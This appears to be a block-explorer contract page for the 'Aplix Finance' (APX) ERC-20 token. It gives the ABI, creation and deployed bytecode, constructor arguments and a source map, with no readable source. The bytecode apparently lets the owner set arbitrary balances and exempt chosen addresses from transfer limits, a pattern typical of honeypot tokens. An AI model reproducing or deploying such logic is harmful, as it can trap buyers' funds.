symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"transferownership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]

6080604052604051620016e8380380620016e8833981810160405260608110156200002957600080fd5b81019080805160405193929190846401000000008211156200004a57600080fd5b838201915060208201858111156200006157600080fd5b82518660018202830111640100000000821117156200007f57600080fd5b8083526020830192505050908051906020019080838360005b83811015620000b557808201518184015260208101905062000098565b50505050905090810190601f168015620000e35780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010757600080fd5b838201915060208201858111156200011e57600080fd5b82518660018202830111640100000000821117156200013c57600080fd5b8083526020830192505050908051906020019080838360005b838110156200017257808201518184015260208101905062000155565b50505050905090810190601f168015620001a05780820380516001836020036101000a031916815260200191505b50604052602001805190602001909291905050508260099080519060200190620001cc929190620003a0565b5081600a9080519060200190620001e5929190620003a0565b506012600a0a810260088190555033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600854600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040518082815260200191505060405180910390a35050506200044f565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620003e357805160ff191683800117855562000414565b8280016001018555821562000414579182015b8281111562000413578251825591602001919060010190620003f6565b5b50905062000423919062000427565b5090565b6200044c91905b80821115620004485760008160009055506001016200042e565b5090565b90565b611289806200045f6000396000f3fe6080604052600436106100a75760003560e01c80636083e94b116100645780636083e94b146102f157806370a082311461035a57806395d89b41146103bf578063a9059cbb1461044f578063dd62ed3e146104b5578063e8b5b7961461053a576100a7565b806306fdde03146100ac578063095ea7b31461013c57806318160ddd146101a257806323b872dd146101cd578063313ce567146102535780633177029f1461027e575b600080fd5b3480156100b857600080fd5b506100c16105a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610641565b604051808215151515815260200191505060405180910390f35b3480156101ae57600080fd5b506101b7610733565b6040518082815260200191505060405180910390f35b610239600480360360608110156101e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610739565b604051808215151515815260200191505060405180910390f35b34801561025f57600080fd5b50610268610a4c565b6040518082815260200191505060405180910390f35b34801561028a57600080fd5b506102d7600480360360408110156102a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a51565b604051808215151515815260200191505060405180910390f35b3480156102fd57600080fd5b506103406004803603602081101561031457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b62565b604051808215151515815260200191505060405180910390f35b34801561036657600080fd5b506103a96004803603602081101561037d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c1e565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b506103d4610c36565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104145780820151818401526020810190506103f9565b50505050905090810190601f1680156104415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61049b6004803603604081101561046557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cd4565b604051808215151515815260200191505060405180910390f35b3480156104c157600080fd5b50610524600480360360408110156104d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce9565b6040518082815260200191505060405180910390f35b34801561054657600080fd5b506105896004803603602081101561055d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0e565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106395780601f1061060e57610100808354040283529160200191610639565b820191906000526020600020905b81548152906001019060200180831161061c57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b60008082141561074c5760019050610a45565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108935781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561080857600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61089e848484610db4565b6108a757600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108f357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aad57600080fd5b6000821115610b01576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bbe57600080fd5b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ccc5780601f10610ca157610100808354040283529160200191610ccc565b820191906000526020600020905b815481529060010190602001808311610caf57829003601f168201915b505050505081565b6000610ce1338484610739565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d6a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600080610dea735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230610ff0565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610e955750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610edf5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610f1557508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610f6d5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610fc15750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610fd0576001915050610fe9565b610fda858461117e565b610fe357600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161061102f578385611032565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561119357506000600254145b80156111a157506000600354145b156111af576000905061124e565b6000600454111561120b576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061120a576000905061124e565b5b6000600254111561122a57816002541115611229576000905061124e565b5b6000600354111561124957600354821115611248576000905061124e565b5b600190505b9291505056fea265627a7a72315820b2eede666beed88f2347ecff18dc9cbe084a354a01d92564ed192c54496996eb64736f6c63430005110032000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000bebc200000000000000000000000000000000000000000000000000000000000000000d41706c69782046696e616e63650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034150580000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100a75760003560e01c80636083e94b116100645780636083e94b146102f157806370a082311461035a57806395d89b41146103bf578063a9059cbb1461044f578063dd62ed3e146104b5578063e8b5b7961461053a576100a7565b806306fdde03146100ac578063095ea7b31461013c57806318160ddd146101a257806323b872dd146101cd578063313ce567146102535780633177029f1461027e575b600080fd5b3480156100b857600080fd5b506100c16105a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610641565b604051808215151515815260200191505060405180910390f35b3480156101ae57600080fd5b506101b7610733565b6040518082815260200191505060405180910390f35b610239600480360360608110156101e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610739565b604051808215151515815260200191505060405180910390f35b34801561025f57600080fd5b50610268610a4c565b6040518082815260200191505060405180910390f35b34801561028a57600080fd5b506102d7600480360360408110156102a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a51565b604051808215151515815260200191505060405180910390f35b3480156102fd57600080fd5b506103406004803603602081101561031457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b62565b604051808215151515815260200191505060405180910390f35b34801561036657600080fd5b506103a96004803603602081101561037d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c1e565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b506103d4610c36565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104145780820151818401526020810190506103f9565b50505050905090810190601f1680156104415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61049b6004803603604081101561046557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cd4565b604051808215151515815260200191505060405180910390f35b3480156104c157600080fd5b50610524600480360360408110156104d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce9565b6040518082815260200191505060405180910390f35b34801561054657600080fd5b506105896004803603602081101561055d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0e565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106395780601f1061060e57610100808354040283529160200191610639565b820191906000526020600020905b81548152906001019060200180831161061c57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b60008082141561074c5760019050610a45565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108935781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561080857600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61089e848484610db4565b6108a757600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108f357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610aad57600080fd5b6000821115610b01576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bbe57600080fd5b60018060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ccc5780601f10610ca157610100808354040283529160200191610ccc565b820191906000526020600020905b815481529060010190602001808311610caf57829003601f168201915b505050505081565b6000610ce1338484610739565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d6a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600080610dea735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230610ff0565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610e955750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610edf5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610f1557508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610f6d5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610fc15750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610fd0576001915050610fe9565b610fda858461117e565b610fe357600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161061102f578385611032565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561119357506000600254145b80156111a157506000600354145b156111af576000905061124e565b6000600454111561120b576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061120a576000905061124e565b5b6000600254111561122a57816002541115611229576000905061124e565b5b6000600354111561124957600354821115611248576000905061124e565b5b600190505b9291505056fea265627a7a72315820b2eede666beed88f2347ecff18dc9cbe084a354a01d92564ed192c54496996eb64736f6c63430005110032

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000bebc200000000000000000000000000000000000000000000000000000000000000000d41706c69782046696e616e63650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034150580000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Aplix Finance
Arg [1] : _symbol (string): APX
Arg [2] : _supply (uint256): 200000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000000bebc200
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [4] : 41706c69782046696e616e636500000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 4150580000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

38575:4222:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42212:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;42212:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;42212:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;39988:213;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;39988:213:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;42182:23;;8:9:-1;5:2;;;30:1;27;20:12;5:2;42182:23:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;39415:564;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;39415:564:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;42141:34;;8:9:-1;5:2;;;30:1;27;20:12;5:2;42141:34:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;40873:269;;8:9:-1;5:2;;;30:1;27;20:12;5:2;40873:269:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;40873:269:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;41334:163;;8:9:-1;5:2;;;30:1;27;20:12;5:2;41334:163:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;41334:163:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;42019:42;;8:9:-1;5:2;;;30:1;27;20:12;5:2;42019:42:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;42019:42:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;42237:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;42237:20:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;42237:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;38770:137;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;38770:137:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;42068:63;;8:9:-1;5:2;;;30:1;27;20:12;5:2;42068:63:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;42068:63:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;41177:151;;8:9:-1;5:2;;;30:1;27;20:12;5:2;41177:151:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;41177:151:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;42212:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;39988:213::-;40060:4;40111:6;40077:9;:21;40087:10;40077:21;;;;;;;;;;;;;;;:31;40099:8;40077:31;;;;;;;;;;;;;;;:40;;;;40154:8;40133:38;;40142:10;40133:38;;;40164:6;40133:38;;;;;;;;;;;;;;;;;;40189:4;40182:11;;39988:213;;;;:::o;42182:23::-;;;;:::o;39415:564::-;39502:4;39533:1;39523:6;:11;39519:31;;;39544:4;39537:11;;;;39519:31;39578:5;39564:19;;:10;:19;;;39560:152;;39640:6;39608:9;:16;39618:5;39608:16;;;;;;;;;;;;;;;:28;39625:10;39608:28;;;;;;;;;;;;;;;;:38;;39600:47;;;;;;39694:6;39662:9;:16;39672:5;39662:16;;;;;;;;;;;;;;;:28;39679:10;39662:28;;;;;;;;;;;;;;;;:38;;;;;;;;;;;39560:152;39730:26;39737:5;39744:3;39749:6;39730;:26::i;:::-;39722:35;;;;;;39796:6;39776:9;:16;39786:5;39776:16;;;;;;;;;;;;;;;;:26;;39768:35;;;;;;39834:6;39814:9;:16;39824:5;39814:16;;;;;;;;;;;;;;;;:26;;;;;;;;;;;39869:6;39851:9;:14;39861:3;39851:14;;;;;;;;;;;;;;;;:24;;;;;;;;;;;39886:10;:17;39897:5;39886:17;;;;;;;;;;;;;;;;:19;;;;;;;;;;;;;39937:3;39921:28;;39930:5;39921:28;;;39942:6;39921:28;;;;;;;;;;;;;;;;;;39967:4;39960:11;;39415:564;;;;;;:::o;42141:34::-;42173:2;42141:34;:::o;40873:269::-;40950:4;40987:5;;;;;;;;;;;40975:17;;:10;:17;;;40967:26;;;;;;41020:1;41007:10;:14;41004:77;;;42173:2;41057;:21;41045:10;:34;41024:9;:18;41034:7;41024:18;;;;;;;;;;;;;;;:55;;;;41004:77;41108:4;41091:7;:16;41099:7;41091:16;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;41130:4;41123:11;;40873:269;;;;:::o;41334:163::-;41379:4;41418:5;;;;;;;;;;;41404:19;;:10;:19;;;41396:28;;;;;;41459:4;41445:7;:13;41453:4;41445:13;;;;;;;;;;;;;;;;:18;;;;;;;;;;;;;;;;;;41481:4;41474:11;;41334:163;;;:::o;42019:42::-;;;;;;;;;;;;;;;;;:::o;42237:20::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;38770:137::-;38838:4;38862:37;38875:10;38887:3;38892:6;38862:12;:37::i;:::-;38855:44;;38770:137;;;;:::o;42068:63::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;41177:151::-;41233:4;41262:5;;;;;;;;;;;41248:19;;:10;:19;;;41239:29;;;;;;41294:4;41279:12;;:19;;;;;;;;;;;;;;;;;;41316:4;41309:11;;41177:151;;;:::o;38916:487::-;38995:4;39012:12;39027:110;39035:42;39079;39131:4;39027:7;:110::i;:::-;39012:125;;39198:5;;;;;;;;;;;39189:14;;:5;:14;;;:30;;;;39214:5;;;;;;;;;;;39207:12;;:3;:12;;;39189:30;:46;;;;42315:42;39223:12;;:5;:12;;;39189:46;:63;;;;39248:4;39239:13;;:5;:13;;;39189:63;:86;;;;39263:12;;;;;;;;;;;39256:19;;:5;:19;;;39189:86;:102;;;;39277:7;:14;39285:5;39277:14;;;;;;;;;;;;;;;;;;;;;;;;;39189:102;39186:144;;;39314:4;39307:11;;;;;39186:144;39348:24;39358:5;39365:6;39348:9;:24::i;:::-;39340:33;;;;;;39391:4;39384:11;;;38916:487;;;;;;:::o;41505:505::-;41594:12;41620:14;41636;41663:6;41654:15;;:6;:15;;;:53;;41692:6;41700;41654:53;;;41673:6;41681;41654:53;41619:88;;;;41809:7;41862:6;41870;41845:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;49:4:-1;39:7;30;26:21;22:32;13:7;6:49;41845:32:0;;;41835:43;;;;;;41748:251;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;49:4:-1;39:7;30;26:21;22:32;13:7;6:49;41748:251:0;;;41738:262;;;;;;41733:268;;41718:284;;41505:505;;;;;;;:::o;40213:462::-;40282:4;40313:1;40301:8;;:13;:30;;;;;40330:1;40318:8;;:13;40301:30;:47;;;;;40347:1;40335:8;;:13;40301:47;40298:64;;;40357:5;40350:12;;;;40298:64;40397:1;40386:8;;:12;40383:89;;;40438:8;;40417:10;:17;40428:5;40417:17;;;;;;;;;;;;;;;;:29;40414:46;;40455:5;40448:12;;;;40414:46;40383:89;40496:1;40485:8;;:12;40482:77;;;40527:6;40516:8;;:17;40513:34;;;40542:5;40535:12;;;;40513:34;40482:77;40583:1;40572:8;;:12;40569:77;;;40612:8;;40603:6;:17;40600:34;;;40629:5;40622:12;;;;40600:34;40569:77;40663:4;40656:11;;40213:462;;;;;:::o

Swarm Source

bzzr://b2eede666beed88f2347ecff18dc9cbe084a354a01d92564ed192c54496996eb
